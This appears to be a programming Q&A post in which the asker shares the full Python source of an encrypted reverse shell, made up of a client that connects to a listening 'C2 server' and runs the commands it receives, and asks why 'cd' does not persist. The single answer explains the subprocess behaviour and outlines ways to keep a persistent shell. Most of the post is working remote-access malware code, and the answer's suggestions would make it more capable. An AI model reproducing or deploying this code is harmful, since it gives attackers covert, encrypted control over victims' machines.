Crypto Reverse Shell in Python3 - cd command does not change directory

The crypto server is started on a Kali Linux virtual machine, whereas the client shell is started on a Windows 10 virtual machine.

The reverse shell works. A connection is established and is persisted. I can run all types of commands from the shell such as - ifconfig, dir, ls, systeminfo, netstat, etc. However, the only problem is that I cannot enumerate the virtual machine's directories using the - "cd & cd .." command.

If I type cd from the Linux's shell I don't receive any errors neither the connection is closed. It seems like it executes the command on the Windows machine, but it does not return any response back.

I know that the question has been asked in the past and I have looked through the threads:

1.python3 - cd is not working in reverse shell

2.Reverse Shell Command with Python command gets stuck when trying to change directory

3.Subprocess changing directory

4.Equivalent of shell 'cd' command to change the working directory?

which I did not find helpful

I think I understand the nature of the problem, but I do not know how to address it. If anyone has any idea of what might be causing this behaviour, I would appreciate the help.

This is the crypto client shell

import socket, os, subprocess

from crypto import RSA, AES

HOST = 'IP'               # The remote host
PORT = 4444               # The remote port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

pub_key = b"""
-----BEGIN PUBLIC KEY-----
PUBLIC KEY
-----END PUBLIC KEY-----
"""


asymetric_public = RSA()
asymetric_public.load_public_pem(pub_key)

aes_key = os.urandom(32)

encrypted_aes_key = asymetric_public.encrypt(aes_key)

s.send(encrypted_aes_key)

aes = AES(aes_key)

while 1:

    encrypted_command = s.recv(1024)

    decrypt_command = aes.decrypt(encrypted_command)
    command = decrypt_command.decode('utf-8')

    if not command: break # breaks loop if the connection is closed

    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    response = proc.stdout.read() + proc.stderr.read()

    if not response: response = b' '

    encrypted_response = aes.encrypt(response)
    s.send(encrypted_response)

s.close()

And this is the crypto server shell

import socket

from crypto import RSA, AES

PORT = 4444

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", PORT))
s.listen(1)

asymetric_keys = RSA()
asymetric_keys.load_file('keys.pem')


print()
print("C2 Server listening on port %d" % PORT)

while True:

    print("Awaiting connection...")

    sock, addr = s.accept()

    encrypted_aes_key = sock.recv(256)

    aes_key = asymetric_keys.decrypt(encrypted_aes_key)

    aes = AES(aes_key)

    print()
    print("Session opened!")

    while True:
                
        command = input("CMD>")
        if not command: continue

        encrypted_command = aes.encrypt(command.encode('utf-8'))

        sock.send(encrypted_command) # send command to the reverse shell
                
        encrypted_response = sock.recv(65535) # get response from the shell
        response = aes.decrypt(encrypted_response)

        if not response: break # break loop if connection closed
        print(response.decode('utf-8'))
        
    print("Session closed!")
    print()

The imported classes (RSA & AES) come from a third python file which is used to generate, load, decrypt, encrypt, validate and sign the encryption key. I don't think the problem is caused by this file however, I can post the code as well if needed.

P.S. I am doing an experiment for a University project. Therefore, everything is just for experimental purposes.


Solution 1:

while 1:

    encrypted_command = s.recv(1024)
    ...
    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    ...
    s.send(encrypted_response)

subprocess.Popen will start a new process, execute the command inside it, return the output and then the process for the command will exit. This means the directory will be changed inside this newly created process only. It has no effect on the following commands since these start with the working directory from the reverse shell - which was not changed. This is actually also explained in the accepted answer to Subprocess changing directory - a question you mentioned as not helpful.

To fix this one either need to interpret the command inside the reverse shell itself instead of executing it inside a new process. Or one need to collect multiple commands and execute these together inside a single executed process. Or one need to spawn out a separate process with the shell and feed all commands into it and get all output back - but never close the shell.